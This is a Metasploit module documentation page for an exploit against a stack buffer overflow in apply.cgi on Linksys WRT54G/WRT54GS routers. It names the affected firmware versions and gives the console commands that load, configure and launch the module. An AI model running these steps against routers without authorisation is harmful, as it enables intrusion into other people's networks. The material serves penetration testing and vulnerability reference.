This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers. According to iDefense who discovered this vulnerability, all WRT54G versions prior to 4.20.7 and all WRT54GS version prior to 1.05.2 may be affected.
Linux
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To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/linksys_apply_cgi
msf exploit(linksys_apply_cgi) > show targets
...targets...
msf exploit(linksys_apply_cgi) > set TARGET < target-id >
msf exploit(linksys_apply_cgi) > show options
...show and set options...
msf exploit(linksys_apply_cgi) > exploit
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